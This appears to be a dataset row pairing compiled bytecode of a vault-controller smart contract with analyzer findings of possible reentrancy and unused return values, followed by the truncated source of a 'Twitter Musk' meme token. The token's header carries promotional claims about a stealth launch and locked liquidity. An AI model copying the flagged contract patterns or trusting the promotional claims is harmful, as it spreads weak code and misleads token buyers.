169060200190929190803590602001909291905050506119c8565b6040518082815260200191505060405180910390f35b610527600480360360208110156104fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ce3565b6040518082815260200191505060405180910390f35b61059f6004803603604081101561055357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611dcc565b005b610603600480360360408110156105b757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612069565b005b6106476004803603602081101561061b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612426565b005b61065161252c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106f5600480360360408110156106a957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612552565b604051808215151515815260200191505060405180910390f35b6107516004803603602081101561072557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612581565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6107d5600480360360208110156107a957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506125b4565b005b610823600480360360408110156107ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506126b9565b005b6108876004803603604081101561083b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612a20565b005b6108d56004803603604081101561089f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612b7b565b005b610919600480360360208110156108ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612cc4565b005b61099d6004803603606081101561093157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612dca565b005b610a01600480360360408110156109b557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612fa4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610a8560048036036020811015610a5957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612fe6565b005b610ad360048036036040811015610a9d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506130ec565b005b610add6132ba565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610b276132e0565b6040518082815260200191505060405180910390f35b610b7f60048036036020811015610b5357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506132e6565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610c2957506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610c9b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610d1a57600080fd5b505afa158015610d2e573d6000803e3d6000fd5b505050506040513d6020811015610d4457600080fd5b810190808051906020019092919050505090508373ffffffffffffffffffffffffffffffffffffffff166351cff8d9846040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b158015610dd657600080fd5b505af1158015610dea573d6000803e3d6000fd5b5050505060008373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610e6d57600080fd5b505afa158015610e81573d6000803e3d6000fd5b505050506040513d6020811015610e9757600080fd5b8101908080519060200190929190505050905081811115611561576000610ec783836134e690919063ffffffff16565b905060008673ffffffffffffffffffffffffffffffffffffffff16631f1fcd516040518163ffffffff1660e01b815260040160206040518083038186803b158015610f1157600080fd5b505afa158015610f25573d6000803e3d6000fd5b505050506040513d6020811015610f3b57600080fd5b81019080805190602001909291905050509050606060008273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610fcf57600080fd5b505afa158015610fe3573d6000803e3d6000fd5b505050506040513d6020811015610ff957600080fd5b8101908080519060200190929190505050955061105a600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660008a73ffffffffffffffffffffffffffffffffffffffff166135309092919063ffffffff16565b6110a7600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16858a73ffffffffffffffffffffffffffffffffffffffff166135309092919063ffffffff16565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663085e2c5b8985878b60006040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018381526020018281526020019550505050505060006040518083038186803b15801561119357600080fd5b505afa1580156111a7573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525060408110156111d157600080fd5b8101908080519060200190929190805160405193929190846401000000008211156111fb57600080fd5b8382019150602082018581111561121157600080fd5b825186602082028301116401000000008211171561122e57600080fd5b8083526020830192505050908051906020019060200280838360005b8381101561126557808201518184015260208101905061124a565b505050509050016040525050508093508192505050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e2a7515e898587858760006040518763ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200185815260200184815260200180602001838152602001828103825284818151815260200191508051906020019060200280838360005b8381101561138757808201518184015260208101905061136c565b50505050905001975050505050505050602060405180830381600087803b1580156113b157600080fd5b505af11580156113c5573d6000803e3d6000fd5b505050506040513d60208110156113db57600080fd5b8101908080519060200190929190505050508273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561146a57600080fd5b505afa15801561147e573d6000803e3d6000fd5b505050506040513d602081101561149457600080fd5b810190808051906020019092919050505094508585111561155c576114c286866134e690919063ffffffff16565b935060006114ef6127106114e16008548861375090919063ffffffff16565b6137d690919063ffffffff16565b905061150d8461150883886134e690919063ffffffff16565b6126b9565b61155a600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16828673ffffffffffffffffffffffffffffffffffffffff166138209092919063ffffffff16565b505b505050505b5050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061161057506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b611682576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff166351cff8d9826040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15801561170157600080fd5b505af1158015611715573d6000803e3d6000fd5b505050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60056020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611838576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146119b8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b8060088190555050565b61271081565b6000808373ffffffffffffffffffffffffffffffffffffffff166370a08231866040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611a4857600080fd5b505afa158015611a5c573d6000803e3d6000fd5b505050506040513d6020811015611a7257600080fd5b8101908080519060200190929190505050905060008573ffffffffffffffffffffffffffffffffffffffff16631f1fcd516040518163ffffffff1660e01b815260040160206040518083038186803b158015611acd57600080fd5b505afa158015611ae1573d6000803e3d6000fd5b505050506040513d6020811015611af757600080fd5b81019080805190602001909291905050509050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663085e2c5b8683858860006040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018381526020018281526020019550505050505060006040518083038186803b158015611bf657600080fd5b505afa158015611c0a573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506040811015611c3457600080fd5b810190808051906020019092919080516040519392919084640100000000821115611c5e57600080fd5b83820191506020820185811115611c7457600080fd5b8251866020820283011164010000000082111715611c9157600080fd5b8083526020830192505050908051906020019060200280838360005b83811015611cc8578082015181840152602081019050611cad565b50505050905001604052505050508093505050509392505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663722713f76040518163ffffffff1660e01b815260040160206040518083038186803b158015611d8a57600080fd5b505afa158015611d9e573d6000803e3d6000fd5b505050506040513d6020811015611db457600080fd5b81019080805190602001909291905050509050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611e7457506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b611ee6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f217374726174656769737400000000000000000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611fe7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260058152602001807f7661756c7400000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061211157506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b612183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f217374726174656769737400000000000000000000000000000000000000000081525060200191505060405180910390fd5b60011515600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514612286576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f21617070726f766564000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146123a3578073ffffffffffffffffffffffffffffffffffffffff1663853828b66040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561236657600080fd5b505af115801561237a573d6000803e3d6000fd5b505050506040513d602081101561239057600080fd5b8101908080519060200190929190505050505b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146124e8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60076020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b60046020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612676576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008173ffffffffffffffffffffffffffffffffffffffff16631f1fcd516040518163ffffffff1660e01b815260040160206040518083038186803b15801561276557600080fd5b505afa158015612779573d6000803e3d6000fd5b505050506040513d602081101561278f57600080fd5b810190808051906020019092919050505090508373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461298e576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506128a181858773ffffffffffffffffffffffffffffffffffffffff166138209092919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff1663def2489b846040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561292057600080fd5b505af1158015612934573d6000803e3d6000fd5b505050506040513d602081101561294a57600080fd5b8101908080519060200190929190505050935061298883858473ffffffffffffffffffffffffffffffffffffffff166138209092919063ffffffff16565b506129ba565b6129b982848673ffffffffffffffffffffffffffffffffffffffff166138209092919063ffffffff16565b5b8173ffffffffffffffffffffffffffffffffffffffff1663d0e30db06040518163ffffffff1660e01b8152600401600060405180830381600087803b158015612a0257600080fd5b505af1158015612a16573d6000803e3d6000fd5b5050505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612ae2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b6001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612c2357506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b612c95576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b612cc033828473ffffffffffffffffffffffffffffffffffffffff166138209092919063ffffffff16565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612d86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612e7257506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b612ee4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f217374726174656769737400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b60066020528160005260406000206020528060005260406000206000915091509054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146130a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146131ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f217661756c74000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561329e57600080fd5b505af11580156132b2573d6000803e3d6000fd5b505050505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60085481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061338e57506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b613400576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f217374726174656769737400000000000000000000000000000000000000000081525060200191505060405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663853828b66040518163ffffffff1660e01b8152600401602060405180830381600087803b1580156134a757600080fd5b505af11580156134bb573d6000803e3d6000fd5b505050506040513d60208110156134d157600080fd5b81019080805190602001909291905050505050565b600061352883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506138f1565b905092915050565b600081148061362a575060008373ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e30856040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b1580156135ed57600080fd5b505afa158015613601573d6000803e3d6000fd5b505050506040513d602081101561361757600080fd5b8101908080519060200190929190505050145b61367f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526036815260200180613d596036913960400191505060405180910390fd5b61374b838473ffffffffffffffffffffffffffffffffffffffff1663095ea7b3905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506139b1565b505050565b60008083141561376357600090506137d0565b600082840290508284828161377457fe5b04146137cb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d0e6021913960400191505060405180910390fd5b809150505b92915050565b600061381883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613bfc565b905092915050565b6138ec838473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb905060e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506139b1565b505050565b600083831115829061399e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613963578082015181840152602081019050613948565b50505050905090810190601f1680156139905780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6139d08273ffffffffffffffffffffffffffffffffffffffff16613cc2565b613a42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e74726163740081525060200191505060405180910390fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b60208310613a915780518252602082019150602081019050602083039250613a6e565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114613af3576040519150601f19603f3d011682016040523d82523d6000602084013e613af8565b606091505b509150915081613b70576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656481525060200191505060405180910390fd5b600081511115613bf657808060200190516020811015613b8f57600080fd5b8101908080519060200190929190505050613bf5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613d2f602a913960400191505060405180910390fd5b5b50505050565b60008083118290613ca8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613c6d578082015181840152602081019050613c52565b50505050905090810190601f168015613c9a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581613cb457fe5b049050809150509392505050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f91506000801b8214158015613d045750808214155b9250505091905056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e6365a265627a7a723158203bf2779268186c0b5d40f71a73bfdae705e4f937fc411f2087866661a366db4864736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 7,855 |
0xe2255a2cea3d8afd5087adfc7b3c2f727ac62192
|
/**
_____ _ _ _ ___ ___ _
|_ _| (_) | | | | \/ | | |
| |_ ___| |_| |_ ___ _ __ | . . |_ _ ___| | __
| \ \ /\ / / | __| __/ _ \ '__| | |\/| | | | / __| |/ /
| |\ V V /| | |_| || __/ | | | | | |_| \__ \ <
\_/ \_/\_/ |_|\__|\__\___|_| \_| |_/\__,_|___/_|\_\
Telegram: https://t.me/TwitterMuskEth
✨ Initial liquidity: 3 ETH
✨ Anti-Bot / Anti-Snipe: Activated
- bots will be blacklisted
✨100% STEALTHLAUNCH, NOBODY KNOWS.
✨ Max Wallet 3% / Max Tx 2%
✨ 5% on buys and sells at launch, renounced asap
Liquidity will be locked for 1 month.
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TwitterMusk is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Twitter Musk";
string private constant _symbol = "Twitter Musk";
uint8 private constant _decimals = 9;
mapping (address => uint256) _balances;
mapping(address => uint256) _lastTX;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 _totalSupply = 1000000000 * 10**9;
//Buy Fee
